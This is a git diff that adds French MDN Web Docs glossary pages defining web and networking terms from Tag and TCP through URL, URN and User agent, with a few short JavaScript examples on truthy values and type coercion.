diff --git a/files/fr/glossary/tag/index.html b/files/fr/glossary/tag/index.html new file mode 100644 index 0000000000..9d8b416447 --- /dev/null +++ b/files/fr/glossary/tag/index.html @@ -0,0 +1,25 @@ +--- +title: Balise +slug: Glossaire/Balise +tags: + - Glossaire + - HTML + - Introduction +translation_of: Glossary/Tag +--- +

En {{Glossary("HTML")}} une balise est utilisée pour créer un {{Glossary("element")}}.  Le nom d'un élément HTML est le nom utilisé dans des chevrons comme par exemple <p> pour un paragraphe.  Notez que le nom de la balise fermante est précédé par un caractère barre oblique, "</p>", et que pour les éléments vides la balise de fin n'est pas nécessaire ni permise. Si les attributs ne sont pas mentionnés, les valeurs par défaut s'appliquent pour chaque cas.

+ +

En savoir plus

+ +

Culture générale

+ + + +

Référence technique

+ + diff --git a/files/fr/glossary/tcp/index.html b/files/fr/glossary/tcp/index.html new file mode 100644 index 0000000000..35b07fb4a8 --- /dev/null +++ b/files/fr/glossary/tcp/index.html @@ -0,0 +1,14 @@ +--- +title: TCP +slug: Glossaire/TCP +translation_of: Glossary/TCP +--- +

TCP (transmission control protocol) est un protocole réseau qui permet à deux hôtes de se connecter et d'échanger des données. Le protocole TCP garantit la distribution des données et paquets dans l'ordre où ils ont été envoyés. Vint Cerf et Bob Kahn, scientifiques du DARPA, ont imaginé TCP dans les années 70.

+ +

Pour en savoir plus

+ +

Connaissances générales

+ +
    +
  • {{Interwiki("wikipedia", "Transmission Control Protocol")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/tcp_handshake/index.html b/files/fr/glossary/tcp_handshake/index.html new file mode 100644 index 0000000000..e48791d681 --- /dev/null +++ b/files/fr/glossary/tcp_handshake/index.html @@ -0,0 +1,20 @@ +--- +title: Liaison à trois voies +slug: Glossaire/TCP_handshake +tags: + - TCP +translation_of: Glossary/TCP_handshake +--- +

{{glossary('Transmission_Control_Protocol_(TCP)','TCP (Transmission Control Protocol)')}} est un protocole hôte à hôte de la couche transport permettant la communication en mode connexion entre deux ordinateurs sur un réseau IP. TCP utilise une liaison à trois voies (ou TCP-Handshake, trois messages ou SYN-SYN-ACK) pour établir une connexion TCP / IP sur un réseau IP: SYN pour synchronize et ACK pour acuittement. Les trois messages transmis par TCP pour négocier et démarrer une session TCP sont respectivement surnommés SYN, SYN-ACK et ACK: synchronize, synchronize acquittement, et acquittement. Le mécanisme à trois messages est conçu pour que deux ordinateurs souhaitant échanger des informations puissent négocier les paramètres de la connexion avant de transmettre des données telles que des requêtes de navigateur HTTP.

+ +

L'hôte, généralement le navigateur, envoie un paquet TCP SYNchronize au serveur. Le serveur reçoit le SYN et renvoie un accusé de réception SYNchronize. L'hôte reçoit le SYN-ACK du serveur et envoie un acquittement. Le serveur reçoit ACK et la connexion de socket TCP est établie.

+ +

Cette étape de négociation se produit après une {{glossary('DNS', 'recherche DNS')}} et avant la négociation {{glossary('TLS')}}, lors de la création d'une connexion sécurisée. La connexion peut être terminée indépendamment de chaque côté de la connexion via une liaison à quatre voies.

+ +

Voire aussi

+ + diff --git a/files/fr/glossary/tcp_slow_start/index.html b/files/fr/glossary/tcp_slow_start/index.html new file mode 100644 index 0000000000..8d37c82c4f --- /dev/null +++ b/files/fr/glossary/tcp_slow_start/index.html @@ -0,0 +1,23 @@ +--- +title: TCP slow start +slug: Glossaire/TCP_slow_start +tags: + - Performance + - Performance Web + - TCP +translation_of: Glossary/TCP_slow_start +--- +

Le démarrage lent, ou TCP slow start, permet d’accumulez la vitesse de transmission des capacités du réseau sans savoir initialement quelles sont ces capacités et sans créer de congestion. {{glossary('TCP')}} slow start est un algorithme utilisé pour détecter la bande passante disponible pour la transmission par paquets. Il empêche l’apparition d’une congestion du réseau dont les capacités sont initialement inconnues.

+ +

Pour implémenter un démarrage lent de TCP, la fenêtre d’encombrement (cwnd) fixe une limite supérieure à la quantité de données qu’une source peut transmettre sur le réseau avant de recevoir un accusé de réception (ACK). Le seuil de démarrage lent (ssthresh) détermine l'activation / désactivation du démarrage lent. Quand une nouvelle connexion est établie, cwnd est initialisé à un paquet de données ou d'accusé de réception TCP et attend un accusé de réception ou ACK. Lorsque cet ACK est reçu, la fenêtre d'encombrement est incrémentée jusqu'à ce que la valeur de cwnd soit inférieure à ssthresh. Le démarrage lent se termine également en cas de congestion.

+ +

Contrôle congestion

+ +

Lorsque le serveur envoie des données dans des paquets TCP, le client de l'utilisateur confirme la livraison en renvoyant des accusés de réception, ou ACK. La connexion a une capacité limitée en fonction des conditions matérielles et du réseau. Si le serveur envoie trop de paquets trop rapidement, ils seront supprimés. Cela veut dire, il n'y aura pas de reconnaissance. Le serveur l'enregistre comme ACK manquant. Les algorithmes de contrôle d'encombrement utilisent ce flux de paquets envoyés et d'accusés de réception pour déterminer un débit d'envoi.

+ +

Voir aussi

+ + diff --git a/files/fr/glossary/telnet/index.html b/files/fr/glossary/telnet/index.html new file mode 100644 index 0000000000..5d924b4b37 --- /dev/null +++ b/files/fr/glossary/telnet/index.html @@ -0,0 +1,15 @@ +--- +title: Telnet +slug: Glossaire/Telnet +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/Telnet +--- +

Telnet est un outil en ligne de commandes et un protocole basé sur TCP/IP pour accéder à des ordinateurs distants.

+ +

Plus d'informations

+ +
    +
  • {{interwiki('wikipedia','Telnet')}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/texel/index.html b/files/fr/glossary/texel/index.html new file mode 100644 index 0000000000..375d33d393 --- /dev/null +++ b/files/fr/glossary/texel/index.html @@ -0,0 +1,33 @@ +--- +title: Texel +slug: Glossaire/Texel +tags: + - 3D + - Glossaire + - Texel + - Texture + - dessin + - graphique +translation_of: Glossary/Texel +--- +

Un Texel est un pixel unique dans une carte de texture, qui est une image qui est utilisée (en tout ou en partie) comme image présentée sur la surface d'un polygone dans une image rendue en part) 3D. Il ne doit pas être confondu avec le pixel qui est l'unité d'espace de l'écran. C'est l'une des principales différences entre Texel et pixels, les pixels sont des données d'image. Les composants Texel sont constitués de données subjecives, ils peuvent donc être une image aussi bien qu'une carte de profondeur.

+ +

Le processus de mappage des Texel appropriés à leurs points correspondants sur un polygone est appelé texture mapping, qui est une étape du processus de rendu d'une image 3D pour l'affichage. Le texture mapping est généralement effectué avant d'éclairer la scène; cependant, dans WebGL, l'éclairage est effectué dans le cadre du processus de texture mapping.

+ +

Les textures sont caractérisées par des collections de Texel, comme la façon dont les images sont caractérisées par des collections de pixels. Lors du texture mapping, le moteur de rendu mappe Texel sur les pixels appropriés.

+ +

Apprendre plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Texel (graphics)")}} sur Wikipédia
    • +
+ +

En savoir plus

+ + diff --git a/files/fr/glossary/three_js/index.html b/files/fr/glossary/three_js/index.html new file mode 100644 index 0000000000..271ec51052 --- /dev/null +++ b/files/fr/glossary/three_js/index.html @@ -0,0 +1,21 @@ +--- +title: Three js +slug: Glossaire/Three_js +tags: + - JavaScript + - Langage de programmation + - Navigateur + - Programmation + - three.js +translation_of: Glossary/Three_js +--- +

three.js est un moteur {{Glossary("WebGL")}} en {{Glossary("JavaScript")}} capable d'exécuter directement dans le {{Glossary("Browser","navigateur")}} des jeux exploitant le GPU ainsi que d'autres applications graphiques. La bibliothèque three.js fournit de nombreuses fonctionnalités et {{Glossary("API")}} pour dessiner des scènes 3D dans votre navigateur. 

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/time_to_interactive/index.html b/files/fr/glossary/time_to_interactive/index.html new file mode 100644 index 0000000000..c3de2d0abc --- /dev/null +++ b/files/fr/glossary/time_to_interactive/index.html @@ -0,0 +1,25 @@ +--- +title: Time to interactive +slug: Glossaire/Time_to_interactive +tags: + - Glossaire + - Performance + - Performance Web + - Reference +translation_of: Glossary/Time_to_interactive +--- +

Time to Interactive (TTI) est une métrique de "progression" des performances web non standardisée définie comme le moment où la dernière Long Task s'est terminée et a été suivie de 5 secondes d'inactivité du réseau et du thread principal.

+ +

TTI, proposé par le Web Incubator Community Group en 2018, est destiné à fournir une métrique qui décrit quand une page ou une application contient un contenu utile et que le fil principal est inactif et libre de répondre aux interactions des utilisateurs, y compris l'enregistrement des gestionnaires d'événements.

+ +

Caveat:

+ +

TTI est dérivé en exploitant les informations de {{domxref("Long Tasks API")}}. Bien que disponible dans certains outils de surveillances des performances, TTI ne fait partie d'aucune spécification Web officielle au moment de la rédaction.

+ +

Voir aussi

+ + diff --git a/files/fr/glossary/tld/index.html b/files/fr/glossary/tld/index.html new file mode 100644 index 0000000000..49e43b684d --- /dev/null +++ b/files/fr/glossary/tld/index.html @@ -0,0 +1,41 @@ +--- +title: TLD +slug: Glossaire/TLD +tags: + - Glossaire + - Web + - WebMechanics +translation_of: Glossary/TLD +--- +

Un domaine de premier niveau ou TLD (top-level domain) est le {{Glossary("domaine")}} le plus générique de toute la hiérarchie {{Glossary("DNS")}} (système de noms de domaine) d'Internet. Un TLD est la composante finale d'un {{Glossary("nom de domaine")}}, par exemple, le "org" dans developer.mozilla.org.

+ +

L'{{Glossary("ICANN")}} (Internet Corporation for Assigned Names and Numbers) désigne des organisations pour gérer chaque TLD. En fonction des contraintes que peuvent imposer ces organisations d'administration, le TLD apporte souvent une indication sur le but, le propriétaire ou la nationalité d'un site web.

+ +

Considérons par exemple l'adresse Internet : https://developer.mozilla.org
+ Ici,  org est le TLD ; mozilla.org est le nom de domaine de deuxième niveau ; et developer est un nom de sous-domaine. Ensemble, ces éléments constituent un nom de domaine pleinement qualifié ; l'ajout de https:// permet d'obtenir une URL complète.

+ +

De nos jours, {{Glossary("IANA")}} divise les domaines de premier niveau en plusieurs groupes :

+ +
+
country-code top-level domains (ccTLD)
+
Domaines sur deux caractères attribués aux pays et territoires. Exemple : .us pour les États-Unis.
+
internationalized country code top-level domains (IDN ccTLD)
+
ccTLDs qui utilisent des jeux de caractères non-latin (e.g., arabe ou chinois).
+
generic top-level domains (gTLD)
+
Domaines de premier niveau sur trois caractères ou plus.
+
unsponsored top-level domains
+
Domaines qui agissent pour la communauté globale d'Internet directement sous des stratégies établies les processus de l'ICANN, par exemple "com" et "edu".
+
sponsored top-level domains (sTLD)
+
Ces domaines sont proposés et sponsorisés par des organisations privées qui décident si un candidat est autorisé ou non à utiliser le TLD, compte-tenu des thématiques de la communauté concernée.
+
infrastructure top-level domain
+
Ce groupe consiste en un seul domaine, l'{{Glossary("ARPA", "ARPA")}} (Address and Routing Parameter Area).
+
+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/tls/index.html b/files/fr/glossary/tls/index.html new file mode 100644 index 0000000000..5d7ceb078c --- /dev/null +++ b/files/fr/glossary/tls/index.html @@ -0,0 +1,29 @@ +--- +title: TLS +slug: Glossaire/TLS +tags: + - Cryptographie + - Glossaire + - Infrastructure + - Sécurité +translation_of: Glossary/TLS +--- +

Transport Layer Security (TLS), comme son prédécesseur Secure Sockets Layer (SSL), est un {{Glossary("Protocol", "protocole")}} utilisé par les applications pour communiquer de manière sécurisée à travers un réseau, tout en prévenant la falsification et l'interception des courriels, navigations web, messageries et autres protocoles.

+ +

Tous les navigateurs modernes supportent le protocole TLS, nécessitant l'envoi par le serveur d'un {{Glossary("Digital certificate", "certificat numérique")}} valide pour confirmer son identité afin de pouvoir établir une connexion sécurisée. Il est possible pour le client et le serveur de s'authentifier mutuellement, si chacune des deux parties fournit son propre certificat numérique individuel.

+ +

Pour approfondir

+ +

Culture générale

+ + + +

Spécifications

+ +
    +
  • RFC 5246 (The Transport Layer Security Protocol, Version 1.2)
    • +
diff --git a/files/fr/glossary/tofu/index.html b/files/fr/glossary/tofu/index.html new file mode 100644 index 0000000000..10d8d0c878 --- /dev/null +++ b/files/fr/glossary/tofu/index.html @@ -0,0 +1,22 @@ +--- +title: TOFU +slug: Glossaire/TOFU +tags: + - Glossaire + - HTTP + - Sécurité +translation_of: Glossary/TOFU +--- +

Trust On First Use (TOFU) (confiance à la première utilisation) est un modèle de sécurité dans lequel un client doit créer une relation avec un serveur inconnu. Pour ce faire, les clients rechercheront des identifiants (par exemple des clés publiques) stockés localement. Si un identifiant est trouvé, le client peut établir la connexion. Si aucun identifiant n'est trouvé, le client peut demander à l'utilisateur de déterminer si le client doit approuver l'identifiant.

+ +

TOFU est utilisé dans le protocole SSH, dans HTTP Public Key Pinning ({{Glossary("HPKP")}}) où les navigateurs accepteront la première clé publique renvoyée par le serveur et dans {{HTTPHeader("Strict-Transport-Security")}}  ({{Glossary("HSTS")}}) où un navigateur obéira à la règle de redirection.

+ +
+

En apprendre plus

+ + +
diff --git a/files/fr/glossary/transmission_control_protocol_(tcp)/index.html b/files/fr/glossary/transmission_control_protocol_(tcp)/index.html new file mode 100644 index 0000000000..c80f5bf9fb --- /dev/null +++ b/files/fr/glossary/transmission_control_protocol_(tcp)/index.html @@ -0,0 +1,28 @@ +--- +title: Transmission Control Protocol (TCP) +slug: Glossaire/Transmission_Control_Protocol_(TCP) +tags: + - Glossary + - Networking + - Performance Web + - SSL + - Security + - TCP + - TLS + - Web Performance +translation_of: Glossary/Transmission_Control_Protocol_(TCP) +--- +

TCP (Transmission Control Protocol) est un protocole hôte à hôte de la couche transport permettant la communication en mode connexion entre deux ordinateurs sur un réseau IP. TCP utilise des ports virtuels pour créer une connexion virtuelle de bout en bout capable de réutiliser les connexions physiques entre deux ordinateurs. TCP encapsule les données de protocole de niveau supérieur telles que {{glossary('HTTP')}} et, {{glossary('SMTP')}} (email).

+ +

{{glossary('TCP Handshake')}}

+ +

La négociation en trois étapes TCP, également appelée TCP handshake, négociation en TCP, et SYN-SYN-ACK, est la méthode utilisée par TCP pour établir une connexion TCP / IP sur un réseau IP. Les trois messages transmis par TCP pour négocier et démarrer une session TCP sont surnommés SYN, SYN-ACK, ACK pour SYNchronize, SYNchronize ACKquitment de réception et ACKquitement. Le mécanisme à trois messages est conçu pour les deux ordinateurs qui souhaitent échanger des informations et peuvent négocier les paramètres de la connexion avant de transmettre des données telles que des requêtes de navigateur HTTP.

+ +

Voir aussi

+ + diff --git a/files/fr/glossary/tree_shaking/index.html b/files/fr/glossary/tree_shaking/index.html new file mode 100644 index 0000000000..b06984c406 --- /dev/null +++ b/files/fr/glossary/tree_shaking/index.html @@ -0,0 +1,28 @@ +--- +title: Tree shaking +slug: Glossaire/Tree_shaking +tags: + - Glossaire + - JavaScript +translation_of: Glossary/Tree_shaking +--- +

Tree shaking est un terme couramment utilisé dans un contexte JavaScript pour décrire la suppression du code mort.

+ +

Il repose sur les états import et export en ES6 pour détecter si les modules de code sont exportés et importés pour une utilisation entre des fichiers JavaScript. 

+ +

Dans les applications JavaScript modernes, nous utilisons des gestionnaires de regroupements de modules (par exemple, webpack ou Rollup) pour supprimer automatiquement le code mort lors du regroupement de plusieurs fichiers JavaScript dans des fichiers uniques. Ceci est important pour préparer un code prêt pour la production, par exemple avec des structures propres et une taille de fichier minimale.

+ +

En apprendre plus

+ +

Culture générale

+ + + +

Références techniques

+ + diff --git a/files/fr/glossary/trident/index.html b/files/fr/glossary/trident/index.html new file mode 100644 index 0000000000..ff2ac836cb --- /dev/null +++ b/files/fr/glossary/trident/index.html @@ -0,0 +1,17 @@ +--- +title: Trident +slug: Glossaire/Trident +tags: + - Glossaire + - Infrastructure + - Navigateur + - Trident +translation_of: Glossary/Trident +--- +

Trident (ou MSHTML) est un moteur de rendu qui fait fonctionner {{Glossary("Microsoft Internet Explorer","Internet Explorer")}}.  Un "{{Glossary("Fork","embranchement")}}" de Trident appelé EdgeHTML a remplacé Trident dans le successeur d'Internet Explorer, {{Glossary("Microsoft Edge","Edge")}}.

+ +

En apprendre plus

+ + diff --git a/files/fr/glossary/truthy/index.html b/files/fr/glossary/truthy/index.html new file mode 100644 index 0000000000..62ed641a6b --- /dev/null +++ b/files/fr/glossary/truthy/index.html @@ -0,0 +1,36 @@ +--- +title: Truthy +slug: Glossaire/Truthy +tags: + - Glossaire + - JavaScript + - Programmation +translation_of: Glossary/Truthy +--- +

En {{Glossary("JavaScript")}}, une valeur truthy est une valeur qui est considérée comme vraie quand elle est évaluée dans un contexte {{Glossary("Boolean","booléen")}} . Toutes les valeurs sont truthy sauf si elles sont definies comme {{Glossary("Falsy","falsy")}} (c'est-à-dire, sauf pour false, 0, "", null, undefined, et NaN).

+ +


+ {{Glossary("JavaScript")}} utilise la {{Glossary("Type_Conversion", "contrainte")}} de type dans un contexte booléen.

+ +


+ Exemples de valeurs truthy en JavaScript (qui seront considérées comme vraies, ce qui exécutera le bloc if):

+ +
if (true)
+if ({})
+if ([])
+if (42)
+if ("foo")
+if (new Date())
+if (-42)
+if (3.14)
+if (-3.14)
+if (Infinity)
+if (-Infinity)
+ +

Voir aussi 

+ +
    +
  • {{Glossary("Falsy")}}
    • +
  • {{Glossary("Type_Conversion", "Contrainte")}}
    • +
  • {{Glossary("Boolean","Booléen")}}
    • +
diff --git a/files/fr/glossary/ttl/index.html b/files/fr/glossary/ttl/index.html new file mode 100644 index 0000000000..0ec25656b2 --- /dev/null +++ b/files/fr/glossary/ttl/index.html @@ -0,0 +1,41 @@ +--- +title: TTL +slug: Glossaire/TTL +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/TTL +--- +

TTL peut se référer soit à :

+ +
    +
  • la durée de vie d'un paquet dans un réseau (avant de pouvoir être libéré)
    • +
  • l'heure d'expiration des données mises en cache
    • +
+ +

Dans le réseau

+ +

Le TTL, intégré dans le paquet, est généralement défini comme un nombre de sauts ou comme un horodatage d'expiration au-delà duquel le paquet est abandonné. Il offre un moyen d'éviter la congestion du réseau et de libérer des paquets après qu'ils ont parcouru le réseau trop longtemps.

+ +

Mise en cache

+ +

Dans le contexte du cache, TTL (en tant qu'entier non signé de 32 bits) fait partie de l'{{Glossary("Response header","en-tête de réponse HTTP")}} ou de la requête {{Glossary("DNS")}}, indique la durée en secondes pendant laquelle la ressource peut être mise en cache par le demandeur.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia","Time_to_Live", "Time to Live")}} sur Wikipedia
    • +
+ +

Références techniques

+ + diff --git a/files/fr/glossary/turn/index.html b/files/fr/glossary/turn/index.html new file mode 100644 index 0000000000..39c0be23b8 --- /dev/null +++ b/files/fr/glossary/turn/index.html @@ -0,0 +1,29 @@ +--- +title: TURN +slug: Glossaire/TURN +tags: + - Glossaire + - Infrastructure + - Mécanismes web + - WebRTC +translation_of: Glossary/TURN +--- +

TURN (Traversal Using Relays around NAT) est un {{Glossary("protocol","protocole")}} permettant à un ordinateur de recevoir et d'envoyer des données malgré l'utilisation de {{glossary("NAT", "translation d'adresse réseau")}} (NAT) ou le fait d'être derrière un pare-feu.

+ +

Pour approfondir

+ +

Culture générale

+ + + +

Référence technique

+ + + +
    +
diff --git a/files/fr/glossary/type/index.html b/files/fr/glossary/type/index.html new file mode 100644 index 0000000000..f50195b94b --- /dev/null +++ b/files/fr/glossary/type/index.html @@ -0,0 +1,22 @@ +--- +title: Type +slug: Glossaire/Type +tags: + - Encodage + - Glossaire + - JavaScript + - Programmation +translation_of: Glossary/Type +--- +

Le type (ou type de donnée) est une caractéristique d'une {{glossary("Value","valeur")}} qui détermine le genre de données qu'elle peut stocker - par exemple, en JavaScript, un  {{domxref("Boolean")}} ne contient que des valeurs true (vrai) / false (faux), alors qu'une {{domxref("String")}} (chaîne de caractères) contient des chaînes de texte, un  {{domxref("Number")}} contient toute sorte de nombres, etc.

+ +

Le type de données d'une valeur affecte également les opérations valides sur cette valeur. Par exemple, un entier peut être multiplié par un entier, mais pas par une chaîne de caractères.

+ +

En apprendre plus

+ +

Culture générale

+ + diff --git a/files/fr/glossary/type_coercion/index.html b/files/fr/glossary/type_coercion/index.html new file mode 100644 index 0000000000..eb719b4bd6 --- /dev/null +++ b/files/fr/glossary/type_coercion/index.html @@ -0,0 +1,41 @@ +--- +title: Type coercion +slug: Glossaire/Type_coercion +tags: + - Coercion + - JavaScript + - Type coercion +translation_of: Glossary/Type_coercion +--- +

La type coercion (en français, coercition de type) est la conversion automatique ou implicite de valeurs d'un type de données à un autre (par exemple : de string à nombre). La {{Glossary("type conversion")}} est similaire à la type coercion puisque les deux convertissent des valeurs d'un type de données à un autre. La différence fondamentale entre elles est que la type coercion est implicite alors que la type conversion peut être implicite ou explicite.

+ +

Exemples

+ +
const valeur1 = '5';
+const valeur2 = 9;
+let somme = valeur1 + valeur2;
+
+console.log(somme);
+ +

Dans l'exemple ci-dessus, Javascript a coercé le nombre 9 en une string, et a concaténé les deux valeurs, ce qui donne comme résultat la string 59. JavaScript avait le choix entre une string et un nombre et a décidé d'utiliser une string.

+ +

Le compilateur aurait pu coercer le 5 en un nombre et retourner la somme de 14, mais ce n'est pas ce qu'il a fait. Pour pouvoir retourner 14, il aurait fallu explicitement convertir le 5 en un nombre grâce à la méthode {{jsxref("Global_Objects/Number", "Number()")}}:

+ +
somme = Number(valeur1) + valeur2;
+ + diff --git a/files/fr/glossary/type_conversion/index.html b/files/fr/glossary/type_conversion/index.html new file mode 100644 index 0000000000..1e00b8c35e --- /dev/null +++ b/files/fr/glossary/type_conversion/index.html @@ -0,0 +1,19 @@ +--- +title: Conversion de type +slug: Glossaire/Conversion_de_type +tags: + - CodingScripting + - Conversion de type + - Glossaire + - Transtypage +translation_of: Glossary/Type_Conversion +--- +

La conversion de type (ou transtypage) est le transfert d'une donnée d'un type de donnée vers un autre. Une conversion implicite se produit quand le compilateur affecte les types de donnée automatiquement, mais le code source peut aussi demander à ce qu'une conversion ait lieu de manière explicite.  Exemples simples : étant donnée l'instruction 5+2.0, l'entier 5 est converti implicitement en nombre à virgule flottante, mais avec l'instruction Number("0x11"), la chaîne "0x11" est explicitement convertie en valeur numérique 17.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Conversion de type")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/udp/index.html b/files/fr/glossary/udp/index.html new file mode 100644 index 0000000000..fa9acee383 --- /dev/null +++ b/files/fr/glossary/udp/index.html @@ -0,0 +1,27 @@ +--- +title: UDP +slug: Glossaire/UDP +tags: + - Glossaire + - Infrastructure + - UDP +translation_of: Glossary/UDP +--- +

UDP (User Datagram Protocol) est un {{glossary("protocol","protocole")}} de longue date utilisé avec {{glossary("IPv6","IP")}} pour envoyer des données lorsque la vitesse de transmission et l'efficacité importent davantage que la sécurité et la fiabilitié.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia","User_Datagram_Protocol","User Datagram Protocol")}} sur Wikipédia
    • +
+ +

Référence technique

+ + + +
    +
diff --git a/files/fr/glossary/ui/index.html b/files/fr/glossary/ui/index.html new file mode 100644 index 0000000000..c32d5e4900 --- /dev/null +++ b/files/fr/glossary/ui/index.html @@ -0,0 +1,17 @@ +--- +title: UI +slug: Glossaire/UI +tags: + - Glossaire +translation_of: Glossary/UI +--- +

L'interface utilisateur (ou UI pour User Interface en anglais) est tout ce qui facilite l'interaction entre un utilisateur et une machine. Dans le domaine de l'informatique, cela peut correspondre à tout, du clavier au programme, en passant par la manette de jeu ou un écran. Dans le cas des logiciels informatiques, il peut s'agir d'une invite en ligne de commande, d'une page web, d'un formulaire de saisie utilisateur ou de l'interface d'une application.

+ +

Pour en savoir plus

+ +

Culture générale

+ + diff --git a/files/fr/glossary/undefined/index.html b/files/fr/glossary/undefined/index.html new file mode 100644 index 0000000000..d75fa72d40 --- /dev/null +++ b/files/fr/glossary/undefined/index.html @@ -0,0 +1,23 @@ +--- +title: Undefined +slug: Glossaire/undefined +tags: + - Encodage + - Glossaire +translation_of: Glossary/undefined +--- +

Une Valeur {{Glossary("primitive")}} affectée automatiquement aux {{Glossary("Variable","variables")}} qui viennent d'être déclarées ou aux {{Glossary("Argument","arguments")}} formels pour lesquels il n'y a pas d'arguments réels.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Valeur#Sciences_exactes","Valeur")}} sur Wikipedia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/unicode/index.html b/files/fr/glossary/unicode/index.html new file mode 100644 index 0000000000..492d21a1e3 --- /dev/null +++ b/files/fr/glossary/unicode/index.html @@ -0,0 +1,20 @@ +--- +title: Unicode +slug: Glossaire/Unicode +tags: + - Caractères + - Glossaire +translation_of: Glossary/Unicode +--- +

Unicode est une {{Glossary("Character set","police de caractères")}} standard qui énumère et définit les {{Glossary("Character","caractères")}} des différentes langues du monde, systèmes d'écriture et symboles. En attribuant un nombre à chaque caractère, les programmeurs peuvent {{Glossary("Character encoding", "encoder des caractères")}}, pour permettre aux ordinateurs de stocker, traiter et transmettre toute combinaison de langues dans le même fichier ou programme.

+ +

Avant Unicode, il était difficile et sujet aux erreurs de mélanger les langues dans les mêmes données. Par exemple, un jeu de caractères stocke des caractères japonais et un autre stocke l'alphabet arabe. S'il n'était pas clairement indiqué quelles parties des données étaient dans quel jeu de caractères, d'autres programmes et ordinateurs affichaient incorrectement le texte ou l'endommageaient pendant le traitement. Si vous avez déjà vu du texte où des caractères comme des citations entre guillemets en cursives (“”) remplacés par du charabia comme £,alors vous avez vu ce problème, connu sous le nom {{Interwiki("wikipedia", "Mojibake")}}.

+ +

Le codage de caractères Unicode le plus courant sur le Web est {{Glossary("UTF-8")}}. D'autres encodages existent, comme UTF-16 ou l'obsolète UCS-2, mais UTF-8 est recommandé.

+ +

En apprendre plus

+ + diff --git a/files/fr/glossary/uri/index.html b/files/fr/glossary/uri/index.html new file mode 100644 index 0000000000..452f0d7993 --- /dev/null +++ b/files/fr/glossary/uri/index.html @@ -0,0 +1,21 @@ +--- +title: URI +slug: Glossaire/URI +tags: + - Glossaire + - HTTP + - Recherche + - URI + - URL +translation_of: Glossary/URI +--- +

Un URI (Uniform Resource Identifier) (Identifiant de ressource uniforme ) est une chaîne qui fait référence à une ressource. Les plus courantes sont les {{Glossary("URL")}}, qui identifient une ressource en donnant son emplacement sur le Web. Au contraire, les {{Glossary("URN")}} font référence à une ressource grâce à son nom, dans un environnement donné, par exemple le code ISBN d'un livre.

+ +

Voir aussi

+ + diff --git a/files/fr/glossary/url/index.html b/files/fr/glossary/url/index.html new file mode 100644 index 0000000000..9a552c4a60 --- /dev/null +++ b/files/fr/glossary/url/index.html @@ -0,0 +1,33 @@ +--- +title: URL +slug: Glossaire/URL +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/URL +--- +

Uniform Resource Locator (URL) est une chaîne de texte qui spécifie où une ressource (telle qu'une page web, une image ou une vidéo) peut être trouvée sur Internet.

+ +

Dans le contexte de {{Glossary("HTTP")}}, les URL sont appelées "adresse web" ou "lien". Votre {{glossary("browser")}} affiche les URL dans sa barre d'adresse, par exmple: https://developer.mozilla.org. Certains navigateurs affichent uniquement la partie d'une URL après le "//", c'est-à-dire le {{Glossary("Domain name")}}.

+ +

Les URL peuvent également être utilisées pour le transfert de fichiers ({{Glossary("FTP")}}) , les e-mails ({{Glossary("SMTP")}}), et d'autres applications.

+ +

En savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "URL")}} sur Wikipédia
    • +
+ +

En savoir plus

+ + + +

Spécification

+ + diff --git a/files/fr/glossary/urn/index.html b/files/fr/glossary/urn/index.html new file mode 100644 index 0000000000..55812381da --- /dev/null +++ b/files/fr/glossary/urn/index.html @@ -0,0 +1,19 @@ +--- +title: URN +slug: Glossaire/URN +tags: + - Glossaire + - Intro + - Navigation + - urn +translation_of: Glossary/URN +--- +

Un URN (Uniform Resource Name) est un {{Glossary("URI")}} dans un format standardisé faisant référence à une ressource sans spécifier son emplacement ni si elle existe. L'exemple suivant est issu de la RFC3986 : urn:oasis:names:specification:docbook:dtd:xml:4.1.2

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Uniform Resource Name", "URN")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/usenet/index.html b/files/fr/glossary/usenet/index.html new file mode 100644 index 0000000000..7f73d5f3ef --- /dev/null +++ b/files/fr/glossary/usenet/index.html @@ -0,0 +1,19 @@ +--- +title: Usenet +slug: Glossaire/Usenet +tags: + - Glossaire + - WebMechanics +translation_of: Glossary/Usenet +--- +

Usenet est un système de discussion sur internet où chaque message est dupliqué sur plusieurs serveurs. Équivalent aux forums Internet actuels, Usenet fonctionnait comme un bulletin board system.

+ +

Pour approfondir

+ +

Culture générale

+ +
 
+ +
    +
  • {{Interwiki("wikipedia", "Usenet")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/user_agent/index.html b/files/fr/glossary/user_agent/index.html new file mode 100644 index 0000000000..9d52373700 --- /dev/null +++ b/files/fr/glossary/user_agent/index.html @@ -0,0 +1,33 @@ +--- +title: Agent utilisateur +slug: Glossaire/User_agent +tags: + - Glossaire + - Mécanismes web + - Web + - agent utilisateur +translation_of: Glossary/User_agent +--- +

Un agent utilisateur est un programme informatique qui représente une personne, par exemple, un {{Glossary("Navigateur","navigateur")}} dans le cadre d'une utilisation sur le {{Glossary("World Wide Web", "Web")}}.

+ +

En dehors des navigateurs, un agent utilisateur peut être un aspirateur de sites, un gestionnaire de téléchargements ou toute autre application accédant au Web. Les navigateurs, lorsqu'ils effectuent des requêtes vers un serveur, y intègrent un en-tête {{Glossary("HTTP")}} auto-identifiant User-Agent appelé chaîne de caractères user agent (UA). Souvent, cette chaîne identifie le navigateur, son numéro de version ainsi que le système d'exploitation de l'hôte.

+ +

Les spambots, gestionnaires de téléchargements et certains navigateurs envoient souvent des chaînes UA falsifiées pour se présenter eux-mêmes comme un client différent. Cette action est nommée user agent spoofing.

+ +

Côté client, la chaîne de l'agent utilisateur est accessible en {{Glossary("JavaScript")}} avec navigator.userAgent.

